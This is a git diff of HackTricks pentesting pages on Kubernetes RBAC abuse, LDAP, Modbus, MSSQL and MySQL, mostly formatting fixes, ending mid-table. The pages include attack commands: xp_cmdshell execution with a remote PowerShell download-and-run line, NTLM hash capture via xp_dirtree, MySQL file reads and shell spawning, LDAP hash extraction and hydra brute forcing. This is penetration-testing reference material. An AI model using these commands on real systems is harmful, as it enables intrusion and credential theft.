create the following YAML file. This YAML file is configured to do the same steps we mentioned in the “create pods” section. ```yaml apiVersion: apps/v1 @@ -178,7 +178,7 @@ Note that as you can get inside any pod, you can abuse other pods token just lik The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.** -The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin_ ClusterRole \(default high privileged role\) and to add any user, including itself, to this admin ClusterRole. +The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin _ClusterRole (default high privileged role) and to add any user, including itself, to this admin ClusterRole. ![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_with_bind_verb.png) @@ -207,7 +207,7 @@ Then it's possible to create **`malicious-RoleBinging.json`**, which **binds the } ``` -The purpose of this JSON file is to bind the admin “CluserRole” \(line 11\) to the compromised service account \(line 16\). +The purpose of this JSON file is to bind the admin “CluserRole” (line 11) to the compromised service account (line 16). Now, all we need to do is to send our JSON as a POST request to the API using the following CURL command: @@ -228,15 +228,15 @@ https://:/api/v1/namespaces/kube-system/secret ## **Impersonating privileged accounts** -With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) ****privilege, an attacker could impersonate a privileged account. +With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation)** **privilege, an attacker could impersonate a privileged account. In this example, the service account _**sa-imper**_ has a binding to a ClusterRole with rules that allow it to impersonate groups and users. ![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_for_user_impersonation.png) -![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_for_user_impersonation_2.png) +![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_for_user_impersonation\_2.png) -It's possible to **list all secrets** with `--ass=null --as-group=system:master` attributes: +It's possible to **list all secrets **with `--ass=null --as-group=system:master` attributes: ![](https://www.cyberark.com/wp-content/uploads/2018/12/listing_secrets_with_and_without_user_impersonation-1024x108.png) @@ -262,13 +262,13 @@ Although the attacker doesn’t know the secret’s name, there are default serv ![](https://www.cyberark.com/wp-content/uploads/2018/12/default_service_accounts_list.png) -Each service account has an associated secret with a static \(non-changing\) prefix and a postfix of a random five-character string token at the end. +Each service account has an associated secret with a static (non-changing) prefix and a postfix of a random five-character string token at the end. ![](https://www.cyberark.com/wp-content/uploads/2018/12/default_service_account_on_kube_system_namespace-1024x556.png) -The random token structure is 5-character string built from alphanumeric \(lower letters and digits\) characters. **But it doesn’t contain all the letters and digits.** +The random token structure is 5-character string built from alphanumeric (lower letters and digits) characters. **But it doesn’t contain all the letters and digits.** -When looking inside the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83), it appears that the token is generated from only 27 characters “bcdfghjklmnpqrstvwxz2456789” and not 36 \(a-z and 0-9\) +When looking inside the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83), it appears that the token is generated from only 27 characters “bcdfghjklmnpqrstvwxz2456789” and not 36 (a-z and 0-9) ![](https://www.cyberark.com/wp-content/uploads/2018/12/character_set_from_rand_go.png) @@ -286,13 +286,13 @@ Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/acces “The RBAC API **prevents users from escalating privileges** by editing roles or role bindings. Because this is enforced at the API level, it applies even when the RBAC authorizer is not in use. -A user can only **create/update a role if they already have all the permissions contained in the role**, at the same scope as the role \(cluster-wide for a ClusterRole, within the same namespace or cluster-wide for a Role\)” +A user can only **create/update a role if they already have all the permissions contained in the role**, at the same scope as the role (cluster-wide for a ClusterRole, within the same namespace or cluster-wide for a Role)” Let’s see an example for such prevention. A service account named _sa7_ is in a RoleBinding _edit-role-rolebinding_. This RoleBinding object has a role named _edit-role_ that has **full permissions rules** on roles. Theoretically, it means that the service account can **edit** **any role** in the _default_ namespace. -![](https://www.cyberark.com/wp-content/uploads/2018/12/edit_roles_roleBinding_binding_sa7_to_edit_role.png) +![](https://www.cyberark.com/wp-content/uploads/2018/12/edit_roles_roleBinding_binding_sa7\_to_edit_role.png) ![](https://www.cyberark.com/wp-content/uploads/2018/12/role_to_edit_any_role.png) @@ -300,7 +300,7 @@ There is also an existing role named _list-pods_. Anyone with this role can list ![](https://www.cyberark.com/wp-content/uploads/2018/12/edit_role_resources-300x66.png) -After trying to do so, we will receive an error “forbidden: attempt to grant extra privileges” \(Figure 31\), because although our _sa7_ user has permissions to update roles for any resource, it can update the role only for resources that it has permissions over. +After trying to do so, we will receive an error “forbidden: attempt to grant extra privileges” (Figure 31), because although our _sa7_ user has permissions to update roles for any resource, it can update the role only for resources that it has permissions over. ![](https://www.cyberark.com/wp-content/uploads/2018/12/forbidden_attempt_to_gran_extra_privileges_message-1024x288.png) @@ -308,16 +308,16 @@ After trying to do so, we will receive an error “forbidden: attempt to grant e ### **Prevent service account token automounting on pods** -When a pod is being created, it automatically mounts a service account \(the default is default service account in the same namespace\). Not every pod needs the ability to utilize the API from within itself. +When a pod is being created, it automatically mounts a service account (the default is default service account in the same namespace). Not every pod needs the ability to utilize the API from within itself. From version 1.6+ it is possible to prevent automounting of service account tokens on pods using automountServiceAccountToken: false. It can be used on service accounts or pods. -On a service account it should be added like this: +On a service account it should be added like this:\ ![](https://www.cyberark.com/wp-content/uploads/2018/12/serviceAccount_with_autoamountServiceAccountToken_false.png) -It is also possible to use it on the pod: +It is also possible to use it on the pod:\ ![](https://www.cyberark.com/wp-content/uploads/2018/12/pod_with_autoamountServiceAccountToken_false.png) @@ -338,7 +338,7 @@ When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster {% embed url="https://github.com/aquasecurity/kube-bench" %} -## \*\*\*\* +## **** ## **References** @@ -346,5 +346,4 @@ When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster {% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1" %} -\*\*\*\* - +**** diff --git a/pentesting/pentesting-ldap.md b/pentesting/pentesting-ldap.md index 410fbe58..e90669c7 100644 --- a/pentesting/pentesting-ldap.md +++ b/pentesting/pentesting-ldap.md @@ -4,21 +4,21 @@ Extracted from: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP) -LDAP \(Lightweight Directory Access Protocol\) is a software protocol for enabling anyone to **locate** organizations, individuals, and other **resources** such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" \(smaller amount of code\) version of Directory Access Protocol \(DAP\). +LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to **locate** organizations, individuals, and other **resources** such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP). -An LDAP directory can be **distributed** among many servers. Each server can have a **replicated** version of the total directory that is **synchronized** periodically. An LDAP server is called a Directory System Agent \(DSA\). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user. +An LDAP directory can be **distributed** among many servers. Each server can have a **replicated** version of the total directory that is **synchronized** periodically. An LDAP server is called a Directory System Agent (DSA). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user. An LDAP directory is organized in a simple "tree" hierarchy consisting of the following levels: -* The root directory \(the starting place or the source of the tree\), which branches out to +* The root directory (the starting place or the source of the tree), which branches out to * Countries, each of which branches out to * Organizations, which branch out to -* Organizational units \(divisions, departments, and so forth\), which branches out to \(includes an entry for\) -* Individuals \(which includes people, files, and shared resources such as printers\) +* Organizational units (divisions, departments, and so forth), which branches out to (includes an entry for) +* Individuals (which includes people, files, and shared resources such as printers) -**Default port:** 389 and 636\(ldaps\). Global Catalog \(LDAP in ActiveDirectory\) is available by default on ports 3268, and 3269 for LDAPS. +**Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS. -```text +``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped @@ -26,7 +26,7 @@ PORT STATE SERVICE REASON ### LDAP Data Interchange Format -LDIF \(LDAP Data Interchange Format\) defines the directory content as a set of records. It can also represent update requests \(Add, Modify, Delete, Rename\). +LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename). ```bash dn: dc=local @@ -58,7 +58,7 @@ phone: 23627387495 ``` * Lines 1-3 define the top level domain local -* Lines 5-8 define the first level domain moneycorp \(moneycorp.local\) +* Lines 5-8 define the first level domain moneycorp (moneycorp.local) * Lines 10-16 define 2 organizational units: dev and sales * Lines 18-26 create an object of the domain and assign attributes with values @@ -79,7 +79,7 @@ True >>> server.info ``` -If the response is `True` like in the previous example, you can obtain some **interesting data** of the LDAP \(like the **naming context** or **domain name**\) server from: +If the response is `True` like in the previous example, you can obtain some **interesting data** of the LDAP (like the **naming context** or **domain name**) server from: ```bash >>> server.info @@ -107,7 +107,7 @@ True ### Automated -Using this you will be able to see the **public information** \(like the domain name\)**:** +Using this you will be able to see the **public information** (like the domain name)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials @@ -242,7 +242,7 @@ Please, notice that the passwords that you can find here could not be the real o #### pbis -You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) and it's usually installed in `/opt/pbis`. +You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) and it's usually installed in `/opt/pbis`.\ **Pbis** allow you to get basic information easily: ```bash @@ -293,7 +293,7 @@ done ### Apache Directory -\*\*\*\*[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). +\*\*\*\*[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s). ### jxplorer @@ -301,7 +301,7 @@ You can download a graphical interface with LDAP server here: [http://www.jxplor By default is is installed in: _/opt/jxplorer_ -![](../.gitbook/assets/image%20%28106%29.png) +![](<../.gitbook/assets/image (22).png>) ## Authentication via kerberos @@ -309,13 +309,13 @@ Using `ldapsearch` you can **authenticate** against **kerberos instead** of via ## POST -If you can access the files where the databases are contained \(could be in _/var/lib/ldap_\). You can extract the hashes using: +If you can access the files where the databases are contained (could be in _/var/lib/ldap_). You can extract the hashes using: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` -You can feed john with the password hash \(from '{SSHA}' to 'structural' without adding 'structural'\). +You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural'). ### Configuration Files @@ -332,17 +332,17 @@ You can feed john with the password hash \(from '{SSHA}' to 'structural' without * Microsoft Active Directory server * msadClassesAttrs.ldif * Netscape Directory Server 4 - * nsslapd.sas\_at.conf - * nsslapd.sas\_oc.conf + * nsslapd.sas_at.conf + * nsslapd.sas_oc.conf * OpenLDAP directory server - * slapd.sas\_at.conf - * slapd.sas\_oc.conf + * slapd.sas_at.conf + * slapd.sas_oc.conf * Sun ONE Directory Server 5.1 * 75sas.ldif ## HackTricks Automatic Commands -```text +``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out @@ -380,4 +380,3 @@ Entry_6: Description: Need User Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f ``` - diff --git a/pentesting/pentesting-modbus.md b/pentesting/pentesting-modbus.md index bb1adc5b..193b2fed 100644 --- a/pentesting/pentesting-modbus.md +++ b/pentesting/pentesting-modbus.md @@ -4,9 +4,9 @@ Modbus Protocol is a messaging structure developed by Modicon in 1979. It is used to establish master-slave/client-server communication between intelligent devices. -**Default port:** 502 +**Default port: **502 -```text +``` PORT STATE SERVICE 502/tcp open modbus ``` @@ -18,4 +18,3 @@ nmap --script modbus-discover -p 502 msf> use auxiliary/scanner/scada/modbusdetect msf> use auxiliary/scanner/scada/modbus_findunitid ``` - diff --git a/pentesting/pentesting-mssql-microsoft-sql-server.md b/pentesting/pentesting-mssql-microsoft-sql-server.md index ea486166..f19754bb 100644 --- a/pentesting/pentesting-mssql-microsoft-sql-server.md +++ b/pentesting/pentesting-mssql-microsoft-sql-server.md @@ -1,21 +1,21 @@ # 1433 - Pentesting MSSQL - Microsoft SQL Server {% hint style="danger" %} -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. ## Basic Information -**Microsoft SQL Server** is a [relational database management system](https://en.wikipedia.org/wiki/Relational_database_management_system) developed by [Microsoft](https://en.wikipedia.org/wiki/Microsoft). As a [database server](https://en.wikipedia.org/wiki/Database_server), it is a [software product](https://en.wikipedia.org/wiki/Software_product) with the primary function of storing and retrieving data as requested by other [software applications](https://en.wikipedia.org/wiki/Software_application)—which may run either on the same computer or on another computer across a network \(including the Internet\). +**Microsoft SQL Server** is a [relational database management system](https://en.wikipedia.org/wiki/Relational_database_management_system) developed by [Microsoft](https://en.wikipedia.org/wiki/Microsoft). As a [database server](https://en.wikipedia.org/wiki/Database_server), it is a [software product](https://en.wikipedia.org/wiki/Software_product) with the primary function of storing and retrieving data as requested by other [software applications](https://en.wikipedia.org/wiki/Software_application)—which may run either on the same computer or on another computer across a network (including the Internet).\ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server). **Default port:** 1433 -```text +``` 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM ``` @@ -106,8 +106,8 @@ EXEC master..xp_cmdshell 'whoami' ### NTLM Service Hash gathering -[You can extract the](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) [**NTLM hash**](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) [of the user making the service authenticate against you.](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) -You should start a **SMB server** to capture the hash used in the authentication \(impacket-smbserver or responder for example\). +[You can extract the](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) [**NTLM hash**](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) [of the user making the service authenticate against you.](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/)\ +You should start a **SMB server** to capture the hash used in the authentication (impacket-smbserver or responder for example). ```bash xp_dirtree '\\\any\thing' @@ -119,13 +119,13 @@ msf> use auxiliary/admin/mssql/mssql_ntlm_stealer \*\*\*\*[**Read this post**](../windows/active-directory-methodology/mssql-trusted-links.md) **to find more information about how to abuse this feature** -### **Read files executing scripts \(Python and R\)** +### **Read files executing scripts (Python and R)** -MSSQL could allow you to execute **scripts in Python and/or R**. These code will be executed by a **different user** than the one using **xp\_cmdshell** to execute commands. +MSSQL could allow you to execute **scripts in Python and/or R**. These code will be executed by a **different user** than the one using **xp_cmdshell** to execute commands. Example trying to execute a **'R'** _"Hellow World!"_ **not working**: -![](../.gitbook/assets/image%20%2813%29.png) +![](<../.gitbook/assets/image (185).png>) Example using configured python to perform several actions: @@ -143,9 +143,9 @@ print(sys.version) GO ``` -### From db\_owner to sysadmin +### From db_owner to sysadmin -[If you have the](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**credentials of a db\_owner user**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)[, you can become](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**sysadmin**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [and](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**execute commands**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) +[If you have the](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**credentials of a db_owner user**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)[, you can become](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**sysadmin**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [and](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**execute commands**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner @@ -193,7 +193,7 @@ SQL> EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http:/ sqsh -S -U -P -D ``` -![](../.gitbook/assets/image%20%28286%29.png) +![](<../.gitbook/assets/image (20).png>) ## Manual @@ -212,7 +212,7 @@ sp_addsrvrolemember 'hacker', 'sysadmin' ## Post Explotation -The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.** +The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.**\ You probably will be able to escalate to Administrator using this token: [Juicy-potato](https://github.com/ohpe/juicy-potato) ## Shodan @@ -221,7 +221,7 @@ You probably will be able to escalate to Administrator using this token: [Juicy- ## HackTricks Automatic Commands -```text +``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. Port_Number: 1433 #Comma separated if there is more than one. Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out @@ -269,4 +269,3 @@ Entry_2: Description: Nmap with SQL Scripts Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP} ``` - diff --git a/pentesting/pentesting-mysql.md b/pentesting/pentesting-mysql.md index 7eceeba5..e34bd61a 100644 --- a/pentesting/pentesting-mysql.md +++ b/pentesting/pentesting-mysql.md @@ -2,12 +2,12 @@ ## **Basic Information** -**MySQL** is a freely available open source Relational Database Management System \(RDBMS\) that uses Structured Query Language \(**SQL**\). +**MySQL** is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (**SQL**).\ \_\*\*\_From [here](https://www.siteground.com/tutorials/php-mysql/mysql/). **Default port:** 3306 -```text +``` 3306/tcp open mysql ``` @@ -91,14 +91,14 @@ mysql -u root -h 127.0.0.1 -e 'show databases;' ## MySQL arbitrary read file by client -Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files.** +Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files.**\ Please notice that this is the behaviour using: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -\(Notice the "local" word\) +(Notice the "local" word)\ Because without the "local" you can get: ```bash @@ -107,8 +107,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` -**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server) -**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/) +**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ +**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ## POST @@ -126,17 +126,17 @@ cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" How to: * Current Level of access - * mysql>`select user();` - * mysql>`select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';` + * mysql>`select user();` + * mysql>`select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';` * Access passwords - * mysql> `use mysql` - * mysql> `select user,password from user;` + * mysql> `use mysql` + * mysql> `select user,password from user;` * Create a new user and grant him privileges - * mysql>`create user test identified by 'test';` - * mysql> `grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;` + * mysql>`create user test identified by 'test';` + * mysql> `grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;` * Break into a shell - * mysql> `\! cat /etc/passwd` - * mysql> `\! bash` + * mysql> `\! cat /etc/passwd` + * mysql> `\! bash` ### Privilege Escalation via library @@ -186,7 +186,7 @@ cat /etc/mysql/debian.cnf You can **use these credentials to login in the mysql database**. -Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **all the hashes of the MySQL users** \(the ones that you can extract from mysql.user inside the database\)_._ +Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **all the hashes of the MySQL users** (the ones that you can extract from mysql.user inside the database)_._ You can extract them doing: @@ -198,27 +198,28 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines: -![](../.gitbook/assets/image%20%28308%29.png) +![](<../.gitbook/assets/image (277).png>) ### Useful files Configuration Files * windows - * * config.ini + * + * config.ini * my.ini * windows\my.ini * winnt\my.ini - * <InstDir>/mysql/data/ + * \/mysql/data/ * unix * my.cnf * /etc/my.cnf * /etc/mysql/my.cnf * /var/lib/mysql/my.cnf - * ~/.my.cnf + * \~/.my.cnf * /etc/my.cnf * Command History - * ~/.mysql.history + * \~/.mysql.history * Log Files * connections.log * update.log @@ -227,326 +228,326 @@ Configuration Files ## Default MySQL Database/Tables {% tabs %} -{% tab title="information\_schema" %} -ALL\_PLUGINS -APPLICABLE\_ROLES -CHARACTER\_SETS -CHECK\_CONSTRAINTS -COLLATIONS -COLLATION\_CHARACTER\_SET\_APPLICABILITY -COLUMNS -COLUMN\_PRIVILEGES -ENABLED\_ROLES -ENGINES -EVENTS -FILES -GLOBAL\_STATUS -GLOBAL\_VARIABLES -KEY\_COLUMN\_USAGE -KEY\_CACHES -OPTIMIZER\_TRACE -PARAMETERS -PARTITIONS -PLUGINS -PROCESSLIST -PROFILING -REFERENTIAL\_CONSTRAINTS -ROUTINES -SCHEMATA -SCHEMA\_PRIVILEGES -SESSION\_STATUS -SESSION\_VARIABLES -STATISTICS -SYSTEM\_VARIABLES -TABLES -TABLESPACES -TABLE\_CONSTRAINTS -TABLE\_PRIVILEGES -TRIGGERS -USER\_PRIVILEGES -VIEWS -INNODB\_LOCKS -INNODB\_TRX -INNODB\_SYS\_DATAFILES -INNODB\_FT\_CONFIG -INNODB\_SYS\_VIRTUAL -INNODB\_CMP -INNODB\_FT\_BEING\_DELETED -INNODB\_CMP\_RESET -INNODB\_CMP\_PER\_INDEX -INNODB\_CMPMEM\_RESET -INNODB\_FT\_DELETED -INNODB\_BUFFER\_PAGE\_LRU -INNODB\_LOCK\_WAITS -INNODB\_TEMP\_TABLE\_INFO -INNODB\_SYS\_INDEXES -INNODB\_SYS\_TABLES -INNODB\_SYS\_FIELDS -INNODB\_CMP\_PER\_INDEX\_RESET -INNODB\_BUFFER\_PAGE -INNODB\_FT\_DEFAULT\_STOPWORD -INNODB\_FT\_INDEX\_TABLE -INNODB\_FT\_INDEX\_CACHE -INNODB\_SYS\_TABLESPACES -INNODB\_METRICS -INNODB\_SYS\_FOREIGN\_COLS -INNODB\_CMPMEM -INNODB\_BUFFER\_POOL\_STATS -INNODB\_SYS\_COLUMNS -INNODB\_SYS\_FOREIGN -INNODB\_SYS\_TABLESTATS -GEOMETRY\_COLUMNS -SPATIAL\_REF\_SYS -CLIENT\_STATISTICS -INDEX\_STATISTICS -USER\_STATISTICS -INNODB\_MUTEXES -TABLE\_STATISTICS -INNODB\_TABLESPACES\_ENCRYPTION -user\_variables -INNODB\_TABLESPACES\_SCRUBBING -INNODB\_SYS\_SEMAPHORE\_WAITS +{% tab title="information_schema" %} +ALL_PLUGINS\ +APPLICABLE_ROLES\ +CHARACTER_SETS\ +CHECK_CONSTRAINTS\ +COLLATIONS\ +COLLATION_CHARACTER_SET_APPLICABILITY\ +COLUMNS\ +COLUMN_PRIVILEGES\ +ENABLED_ROLES\ +ENGINES\ +EVENTS\ +FILES\ +GLOBAL_STATUS\ +GLOBAL_VARIABLES\ +KEY_COLUMN_USAGE\ +KEY_CACHES\ +OPTIMIZER_TRACE\ +PARAMETERS\ +PARTITIONS\ +PLUGINS\ +PROCESSLIST\ +PROFILING\ +REFERENTIAL_CONSTRAINTS\ +ROUTINES\ +SCHEMATA\ +SCHEMA_PRIVILEGES\ +SESSION_STATUS\ +SESSION_VARIABLES\ +STATISTICS\ +SYSTEM_VARIABLES\ +TABLES\ +TABLESPACES\ +TABLE_CONSTRAINTS\ +TABLE_PRIVILEGES\ +TRIGGERS\ +USER_PRIVILEGES\ +VIEWS\ +INNODB_LOCKS\ +INNODB_TRX\ +INNODB_SYS_DATAFILES\ +INNODB_FT_CONFIG\ +INNODB_SYS_VIRTUAL\ +INNODB_CMP\ +INNODB_FT_BEING_DELETED\ +INNODB_CMP_RESET\ +INNODB_CMP_PER_INDEX\ +INNODB_CMPMEM_RESET\ +INNODB_FT_DELETED\ +INNODB_BUFFER_PAGE_LRU\ +INNODB_LOCK_WAITS\ +INNODB_TEMP_TABLE_INFO\ +INNODB_SYS_INDEXES\ +INNODB_SYS_TABLES\ +INNODB_SYS_FIELDS\ +INNODB_CMP_PER_INDEX_RESET\ +INNODB_BUFFER_PAGE\ +INNODB_FT_DEFAULT_STOPWORD\ +INNODB_FT_INDEX_TABLE\ +INNODB_FT_INDEX_CACHE\ +INNODB_SYS_TABLESPACES\ +INNODB_METRICS\ +INNODB_SYS_FOREIGN_COLS\ +INNODB_CMPMEM\ +INNODB_BUFFER_POOL_STATS\ +INNODB_SYS_COLUMNS\ +INNODB_SYS_FOREIGN\ +INNODB_SYS_TABLESTATS\ +GEOMETRY_COLUMNS\ +SPATIAL_REF_SYS\ +CLIENT_STATISTICS\ +INDEX_STATISTICS\ +USER_STATISTICS\ +INNODB_MUTEXES\ +TABLE_STATISTICS\ +INNODB_TABLESPACES_ENCRYPTION\ +user_variables\ +INNODB_TABLESPACES_SCRUBBING\ +INNODB_SYS_SEMAPHORE_WAITS {% endtab %} {% tab title="mysql" %} -columns\_priv -column\_stats -db -engine\_cost -event -func -general\_log -gtid\_executed -gtid\_slave\_pos -help\_category -help\_keyword -help\_relation -help\_topic -host -index\_stats -innodb\_index\_stats -innodb\_table\_stats -ndb\_binlog\_index -plugin -proc -procs\_priv -proxies\_priv -roles\_mapping -server\_cost -servers -slave\_master\_info -slave\_relay\_log\_info -slave\_worker\_info -slow\_log -tables\_priv -table\_stats -time\_zone -time\_zone\_leap\_second -time\_zone\_name -time\_zone\_transition -time\_zone\_transition\_type -transaction\_registry +columns_priv\ +column_stats\ +db\ +engine_cost\ +event\ +func\ +general_log\ +gtid_executed\ +gtid_slave_pos\ +help_category\ +help_keyword\ +help_relation\ +help_topic\ +host\ +index_stats\ +innodb_index_stats\ +innodb_table_stats\ +ndb_binlog_index\ +plugin\ +proc\ +procs_priv\ +proxies_priv\ +roles_mapping\ +server_cost\ +servers\ +slave_master_info\ +slave_relay_log_info\ +slave_worker_info\ +slow_log\ +tables_priv\ +table_stats\ +time_zone\ +time_zone_leap_second\ +time_zone_name\ +time_zone_transition\ +time_zone_transition_type\ +transaction_registry\ user {% endtab %} -{% tab title="performance\_schema" %} -accounts -cond\_instances -events\_stages\_current 